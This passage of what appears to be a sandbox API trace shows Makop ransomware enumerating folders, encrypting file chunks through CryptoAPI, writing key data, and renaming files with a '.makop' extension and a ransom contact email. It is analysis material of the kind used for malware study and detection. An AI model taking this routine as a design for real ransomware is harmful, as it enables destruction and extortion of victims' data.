[0063.549] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0063.550] CloseHandle (hObject=0x120) returned 1 [0063.550] GetFileType (hFile=0x128) returned 0x1 [0063.550] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.551] CloseHandle (hObject=0x128) returned 1 [0063.552] GetFileType (hFile=0x120) returned 0x1 [0063.552] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0063.553] CloseHandle (hObject=0x120) returned 1 [0063.553] GetFileType (hFile=0x128) returned 0x1 [0063.553] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.554] CloseHandle (hObject=0x128) returned 1 [0063.554] GetFileType (hFile=0x120) returned 0x1 [0063.554] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0063.555] CloseHandle (hObject=0x120) returned 1 [0063.555] GetFileType (hFile=0x128) returned 0x1 [0063.555] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.556] CloseHandle (hObject=0x128) returned 1 [0063.557] GetFileType (hFile=0x120) returned 0x1 [0063.557] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0063.558] CloseHandle (hObject=0x120) returned 1 [0063.558] GetFileType (hFile=0x128) returned 0x1 [0063.558] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.559] CloseHandle (hObject=0x128) returned 1 [0063.559] GetFileType (hFile=0x120) returned 0x1 [0063.559] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0063.560] CloseHandle (hObject=0x120) returned 1 [0063.560] GetFileType (hFile=0x128) returned 0x1 [0063.560] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.561] CloseHandle (hObject=0x128) returned 1 [0063.562] GetFileType (hFile=0x120) returned 0x1 [0063.562] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0063.563] CloseHandle (hObject=0x120) returned 1 [0063.563] GetFileType (hFile=0x128) returned 0x1 [0063.563] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.564] CloseHandle (hObject=0x128) returned 1 [0063.565] GetFileType (hFile=0x120) returned 0x1 [0063.565] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0063.566] CloseHandle (hObject=0x120) returned 1 [0063.566] GetFileType (hFile=0x128) returned 0x1 [0063.566] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.570] CloseHandle (hObject=0x128) returned 1 [0063.570] GetFileType (hFile=0x120) returned 0x1 [0063.570] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0063.571] CloseHandle (hObject=0x120) returned 1 [0063.571] GetFileType (hFile=0x128) returned 0x1 [0063.571] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.572] CloseHandle (hObject=0x128) returned 1 [0063.572] GetFileType (hFile=0x120) returned 0x1 [0063.573] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0063.573] CloseHandle (hObject=0x120) returned 1 [0063.574] GetFileType (hFile=0x128) returned 0x1 [0063.574] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.575] CloseHandle (hObject=0x128) returned 1 [0063.575] GetFileType (hFile=0x120) returned 0x1 [0063.575] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0063.576] CloseHandle (hObject=0x120) returned 1 [0063.576] GetFileType (hFile=0x128) returned 0x1 [0063.576] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.577] CloseHandle (hObject=0x128) returned 1 [0063.578] GetFileType (hFile=0x120) returned 0x1 [0063.578] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0063.579] CloseHandle (hObject=0x120) returned 1 [0063.579] GetFileType (hFile=0x128) returned 0x1 [0063.579] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.580] CloseHandle (hObject=0x128) returned 1 [0063.580] GetFileType (hFile=0x120) returned 0x1 [0063.580] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0063.581] CloseHandle (hObject=0x120) returned 1 [0063.582] GetFileType (hFile=0x128) returned 0x1 [0063.582] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0063.583] CloseHandle (hObject=0x128) returned 1 [0063.583] GetFileType (hFile=0x120) returned 0x1 [0063.583] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.584] CloseHandle (hObject=0x120) returned 1 [0063.585] GetFileType (hFile=0x128) returned 0x1 [0063.585] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0063.586] CloseHandle (hObject=0x128) returned 1 [0063.586] GetFileType (hFile=0x120) returned 0x1 [0063.586] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0063.588] CloseHandle (hObject=0x120) returned 1 [0063.588] GetFileType (hFile=0x128) returned 0x1 [0063.588] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0063.589] CloseHandle (hObject=0x128) returned 1 [0063.589] GetFileType (hFile=0x120) returned 0x0 [0063.590] CloseHandle (hObject=0x120) returned 1 [0063.590] GetFileType (hFile=0x128) returned 0x1 [0063.590] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9") returned 0x74 [0063.591] CloseHandle (hObject=0x128) returned 1 [0063.592] GetFileType (hFile=0x120) returned 0x1 [0063.592] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0063.593] CloseHandle (hObject=0x120) returned 1 [0063.593] GetProcessHeap () returned 0x48a0000 [0063.593] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x6580020 | out: hHeap=0x48a0000) returned 1 [0063.596] Sleep (dwMilliseconds=0xa) [0063.599] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.599] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0063.599] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\MSOCache") returned 11 [0063.599] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\*.*") returned 15 [0063.599] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0063.600] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.600] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0063.600] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users") returned 21 [0063.600] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\*.*") returned 25 [0063.600] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0063.610] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.771] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0063.771] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0063.771] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0063.771] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0063.774] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.775] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0063.775] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0063.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0063.778] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=16972987) returned 1 [0063.778] GetProcessHeap () returned 0x48a0000 [0063.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0063.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0063.779] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.779] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x5, lpOverlapped=0x0) returned 1 [0063.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0063.786] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0063.786] GetProcessHeap () returned 0x48a0000 [0063.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0063.787] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0063.787] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0063.787] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0063.787] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0063.787] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0063.787] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0063.787] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0063.788] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0063.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0063.788] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0063.788] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.788] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.806] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.809] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.809] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.811] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.811] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.811] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.812] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.825] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.828] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.831] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.831] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.840] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.843] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.845] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.845] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0063.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.846] SetEndOfFile (hFile=0x124) returned 1 [0063.855] GetProcessHeap () returned 0x48a0000 [0063.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0063.856] GetProcessHeap () returned 0x48a0000 [0063.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0063.856] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0063.856] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0063.863] CloseHandle (hObject=0x124) returned 1 [0063.863] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0063.863] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0063.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all 